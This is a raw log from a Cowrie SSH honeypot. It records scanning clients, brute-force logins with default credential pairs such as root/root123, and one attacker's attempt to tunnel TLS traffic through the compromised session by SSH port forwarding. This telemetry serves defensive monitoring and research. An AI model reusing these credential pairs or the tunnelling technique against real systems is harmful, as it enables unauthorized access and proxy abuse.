{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:20.945265Z","src_ip":"20.196.64.198","session":"448cfb44f3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:21.150926Z","src_ip":"20.196.64.198","session":"448cfb44f3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zw","password":"zw","message":"login attempt [zw/zw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:21.946629Z","src_ip":"20.196.64.198","session":"448cfb44f3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:23.144656Z","src_ip":"20.196.64.198","session":"448cfb44f3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42296,"dst_ip":"10.17.0.5","dst_port":22,"session":"5571ad5f96f9","protocol":"ssh","message":"New connection: 2.57.122.208:42296 (10.17.0.5:22) [session: 5571ad5f96f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:32.617571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:32.684396Z","src_ip":"2.57.122.208","session":"5571ad5f96f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:32.838377Z","src_ip":"2.57.122.208","session":"5571ad5f96f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:33.416721Z","src_ip":"2.57.122.208","session":"5571ad5f96f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:34.544712Z","src_ip":"2.57.122.208","session":"5571ad5f96f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":33574,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7bdf41510a3","protocol":"ssh","message":"New connection: 77.90.185.17:33574 (10.17.0.5:22) [session: d7bdf41510a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:36.430096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:36.434524Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:36.534456Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:37.026157Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"77.90.185.17","src_port":58700,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:58700","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:41.608667Z","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:41.729376Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca]\\xfd\\\\\\x00\\xae\\xb2\\x0e\\xee\\xb9\\xd0\\xd3\\xe7`\\xff\\x9e><\\xcd\\xcc\\xed\\x9aA\\xab\\xf7\\xc8\\x9b\\x1e\\xe8\\xa2\\xe3\\xcb \\xc3tM\\x9c\\xdd\\xceOF~u\\xb8ev\\xba\\xe9\\x11\\x81\\xfdm\\xcd\\x0cO\\xe7\\xed\\xbe\\xd4\\xb79G\\xear\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 u\\x0f\\xf4\\xcb\\xa8\\xd9%\\xf2#DN\\x86\\t\\xca\\xa1\\x87j\\xde\"\\xd7\\xd4\\xe6\\x0e\\xa2\\xc0\\xc2}g\\x7fxKG\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca]\\xfd\\\\\\x00\\xae\\xb2\\x0e\\xee\\xb9\\xd0\\xd3\\xe7`\\xff\\x9e><\\xcd\\xcc\\xed\\x9aA\\xab\\xf7\\xc8\\x9b\\x1e\\xe8\\xa2\\xe3\\xcb \\xc3tM\\x9c\\xdd\\xceOF~u\\xb8ev\\xba\\xe9\\x11\\x81\\xfdm\\xcd\\x0cO\\xe7\\xed\\xbe\\xd4\\xb79G\\xear\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 u\\x0f\\xf4\\xcb\\xa8\\xd9%\\xf2#DN\\x86\\t\\xca\\xa1\\x87j\\xde\"\\xd7\\xd4\\xe6\\x0e\\xa2\\xc0\\xc2}g\\x7fxKG\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:41.732033Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":59456,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:59456","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:41.912915Z","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:43.735467Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\x92\\xdb\\x19\\x14\\xbd\\x93(}\\xfb\\x9c\\x1b_\\xb7\\x18\\xbcB\\x0f\\xb0\\x0fq\\x86\\xa1<!\\x069\\xe7\\xaf\\xdb\\xa8b \\x98\\xf3 \\x1c\\t\\xf9\\xca\\xea0g\\xf0\\xb7P\\x96\\xdd\\x16\\x96;\\xd56\\xebOC*\\xeaH\\xb8\\x91\\x07\\xd2\\x82*\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x9c\\x86\\xf3\\x9fL\\xe1\\xae\\x87x\\xc8~hG\\xdbi3\\xb0\\x8eu|\\xefp\\xeep\\x1b\\x90\\x8a\\xc5\\xd1G\\xfc0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\x92\\xdb\\x19\\x14\\xbd\\x93(}\\xfb\\x9c\\x1b_\\xb7\\x18\\xbcB\\x0f\\xb0\\x0fq\\x86\\xa1<!\\x069\\xe7\\xaf\\xdb\\xa8b \\x98\\xf3 \\x1c\\t\\xf9\\xca\\xea0g\\xf0\\xb7P\\x96\\xdd\\x16\\x96;\\xd56\\xebOC*\\xeaH\\xb8\\x91\\x07\\xd2\\x82*\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x9c\\x86\\xf3\\x9fL\\xe1\\xae\\x87x\\xc8~hG\\xdbi3\\xb0\\x8eu|\\xefp\\xeep\\x1b\\x90\\x8a\\xc5\\xd1G\\xfc0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:43.739007Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"77.90.185.17","src_port":33396,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:33396","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:43.912487Z","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:44.251334Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
